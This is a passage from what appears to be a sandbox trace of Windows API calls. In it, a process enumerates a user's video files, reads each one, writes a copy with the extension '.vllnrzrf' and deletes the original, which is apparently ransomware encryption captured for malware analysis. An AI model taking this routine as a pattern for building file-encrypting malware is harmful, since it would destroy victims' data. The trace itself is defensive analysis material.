HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", lpFilePart=0x0) returned 0x41 [0123.011] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\n2hjg3fu.flv")) returned 1 [0123.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", lpFilePart=0x0) returned 0x48 [0123.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", lpFilePart=0x0) returned 0x48 [0123.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", lpFilePart=0x0) returned 0x48 [0123.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\qepogdvl4ljnbw2.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.088] GetFileType (hFile=0x52c) returned 0x1 [0123.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.088] GetFileType (hFile=0x52c) returned 0x1 [0123.088] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x1748a [0123.088] ReadFile (in: hFile=0x52c, lpBuffer=0x12405080, nNumberOfBytesToRead=0x1748a, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x12405080*, lpNumberOfBytesRead=0x1c87eb18*=0x1748a, lpOverlapped=0x0) returned 1 [0123.090] CloseHandle (hObject=0x52c) returned 1 [0123.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv.vllnrzrf", lpFilePart=0x0) returned 0x51 [0123.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\qepogdvl4ljnbw2.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.223] GetFileType (hFile=0x52c) returned 0x1 [0123.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.223] GetFileType (hFile=0x52c) returned 0x1 [0123.223] WriteFile (in: hFile=0x52c, lpBuffer=0x12490cb8*, nNumberOfBytesToWrite=0x1768a, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x12490cb8*, lpNumberOfBytesWritten=0x1c87eb78*=0x1768a, lpOverlapped=0x0) returned 1 [0123.225] CloseHandle (hObject=0x52c) returned 1 [0123.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", lpFilePart=0x0) returned 0x48 [0123.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv", lpFilePart=0x0) returned 0x48 [0123.228] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\QepoGdVl4LJnbW2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\qepogdvl4ljnbw2.flv")) returned 1 [0123.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", lpFilePart=0x0) returned 0x45 [0123.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", lpFilePart=0x0) returned 0x45 [0123.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", lpFilePart=0x0) returned 0x45 [0123.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\s5fn-s7h4qjn.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.231] GetFileType (hFile=0x52c) returned 0x1 [0123.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.231] GetFileType (hFile=0x52c) returned 0x1 [0123.231] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x18f91 [0123.232] ReadFile (in: hFile=0x52c, lpBuffer=0x124a8380, nNumberOfBytesToRead=0x18f91, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x124a8380*, lpNumberOfBytesRead=0x1c87eb18*=0x18f91, lpOverlapped=0x0) returned 1 [0123.233] CloseHandle (hObject=0x52c) returned 1 [0123.250] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf.vllnrzrf", lpFilePart=0x0) returned 0x4e [0123.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\s5fn-s7h4qjn.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.251] GetFileType (hFile=0x52c) returned 0x1 [0123.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.251] GetFileType (hFile=0x52c) returned 0x1 [0123.251] WriteFile (in: hFile=0x52c, lpBuffer=0x1223bc60*, nNumberOfBytesToWrite=0x19191, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesWritten=0x1c87eb78*=0x19191, lpOverlapped=0x0) returned 1 [0123.254] CloseHandle (hObject=0x52c) returned 1 [0123.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", lpFilePart=0x0) returned 0x45 [0123.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf", lpFilePart=0x0) returned 0x45 [0123.256] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\S5fN-S7H4qJN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\s5fn-s7h4qjn.swf")) returned 1 [0123.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", lpFilePart=0x0) returned 0x3e [0123.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", lpFilePart=0x0) returned 0x3e [0123.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", lpFilePart=0x0) returned 0x3e [0123.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\veege.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0123.261] GetFileType (hFile=0x46c) returned 0x1 [0123.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.261] GetFileType (hFile=0x46c) returned 0x1 [0123.261] GetFileSize (in: hFile=0x46c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x6cc4 [0123.261] ReadFile (in: hFile=0x46c, lpBuffer=0x21fc928, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x21fc928*, lpNumberOfBytesRead=0x1c87eb18*=0x6cc4, lpOverlapped=0x0) returned 1 [0123.262] CloseHandle (hObject=0x46c) returned 1 [0123.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv.vllnrzrf", lpFilePart=0x0) returned 0x47 [0123.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\veege.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x46c [0123.272] GetFileType (hFile=0x46c) returned 0x1 [0123.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.272] GetFileType (hFile=0x46c) returned 0x1 [0123.272] WriteFile (in: hFile=0x46c, lpBuffer=0x2231ee0*, nNumberOfBytesToWrite=0x6ec4, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x2231ee0*, lpNumberOfBytesWritten=0x1c87eb78*=0x6ec4, lpOverlapped=0x0) returned 1 [0123.273] CloseHandle (hObject=0x46c) returned 1 [0123.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", lpFilePart=0x0) returned 0x3e [0123.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv", lpFilePart=0x0) returned 0x3e [0123.278] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\veeGE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\veege.flv")) returned 1 [0123.280] CoUninitialize () Thread: id = 114 os_tid = 0x38c [0123.285] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1c89e920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0123.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ed80) returned 1 [0123.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", nBufferLength=0x105, lpBuffer=0x1c89e870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo", lpFilePart=0x0) returned 0x46 [0123.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\", nBufferLength=0x105, lpBuffer=0x1c89e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\", lpFilePart=0x0) returned 0x47 [0123.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\*.*", lpFindFileData=0x1c89ea20 | out: lpFindFileData=0x1c89ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7e4bf0, ftCreationTime.dwHighDateTime=0x1d5da6e, ftLastAccessTime.dwLowDateTime=0x2460bf70, ftLastAccessTime.dwHighDateTime=0x1d5e5b1, ftLastWriteTime.dwLowDateTime=0x2460bf70, ftLastWriteTime.dwHighDateTime=0x1d5e5b1, nFileSizeHigh=0x0, nFileSizeLow=0x1140, dwReserved0=0x0, dwReserved1=0x0, cFileName="1QTt0.mkv", cAlternateFileName="")) returned 1 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c78d50, ftCreationTime.dwHighDateTime=0x1d5e2a9, ftLastAccessTime.dwLowDateTime=0xdf9aa6a0, ftLastAccessTime.dwHighDateTime=0x1d5e379, ftLastWriteTime.dwLowDateTime=0xdf9aa6a0, ftLastWriteTime.dwHighDateTime=0x1d5e379, nFileSizeHigh=0x0, nFileSizeLow=0x5545, dwReserved0=0x0, dwReserved1=0x0, cFileName="5TzzGg_vEN.avi", cAlternateFileName="5TZZGG~1.AVI")) returned 1 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b6e3220, ftCreationTime.dwHighDateTime=0x1d5da17, ftLastAccessTime.dwLowDateTime=0x505896b0, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x505896b0, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0x13cfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pYoNqvAA59vyxs v2L.flv", cAlternateFileName="PYONQV~1.FLV")) returned 1 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ebe540, ftCreationTime.dwHighDateTime=0x1d5d811, ftLastAccessTime.dwLowDateTime=0xdfdf6790, ftLastAccessTime.dwHighDateTime=0x1d5dd75, ftLastWriteTime.dwLowDateTime=0xdfdf6790, ftLastWriteTime.dwHighDateTime=0x1d5dd75, nFileSizeHigh=0x0, nFileSizeLow=0xc287, dwReserved0=0x0, dwReserved1=0x0, cFileName="s_CMZX7P.mkv", cAlternateFileName="")) returned 1 [0123.286] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae288170, ftCreationTime.dwHighDateTime=0x1d5e232, ftLastAccessTime.dwLowDateTime=0x544b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e4d1, ftLastWriteTime.dwLowDateTime=0x544b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e4d1, nFileSizeHigh=0x0, nFileSizeLow=0x13ccd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UxOrvpHts9xsMls Dbz.avi", cAlternateFileName="UXORVP~1.AVI")) returned 1 [0123.287] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89ea70 | out: lpFindFileData=0x1c89ea70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.287] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ecd0) returned 1 [0123.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ec90) returned 1 [0123.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", lpFilePart=0x0) returned 0x50 [0123.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", lpFilePart=0x0) returned 0x50 [0123.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", lpFilePart=0x0) returned 0x50 [0123.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\1qtt0.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.288] GetFileType (hFile=0x52c) returned 0x1 [0123.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.288] GetFileType (hFile=0x52c) returned 0x1 [0123.288] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c89ee08 | out: lpFileSizeHigh=0x1c89ee08*=0x0) returned 0x1140 [0123.289] ReadFile (in: hFile=0x52c, lpBuffer=0x223c448, nNumberOfBytesToRead=0x1140, lpNumberOfBytesRead=0x1c89ed38, lpOverlapped=0x0 | out: lpBuffer=0x223c448*, lpNumberOfBytesRead=0x1c89ed38*=0x1140, lpOverlapped=0x0) returned 1 [0123.293] CloseHandle (hObject=0x52c) returned 1 [0123.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv.vllnrzrf", lpFilePart=0x0) returned 0x59 [0123.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\1qtt0.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.299] GetFileType (hFile=0x52c) returned 0x1 [0123.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.299] GetFileType (hFile=0x52c) returned 0x1 [0123.299] WriteFile (in: hFile=0x52c, lpBuffer=0x2248948*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x1c89ed98, lpOverlapped=0x0 | out: lpBuffer=0x2248948*, lpNumberOfBytesWritten=0x1c89ed98*=0x1340, lpOverlapped=0x0) returned 1 [0123.300] CloseHandle (hObject=0x52c) returned 1 [0123.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", lpFilePart=0x0) returned 0x50 [0123.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", nBufferLength=0x105, lpBuffer=0x1c89e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 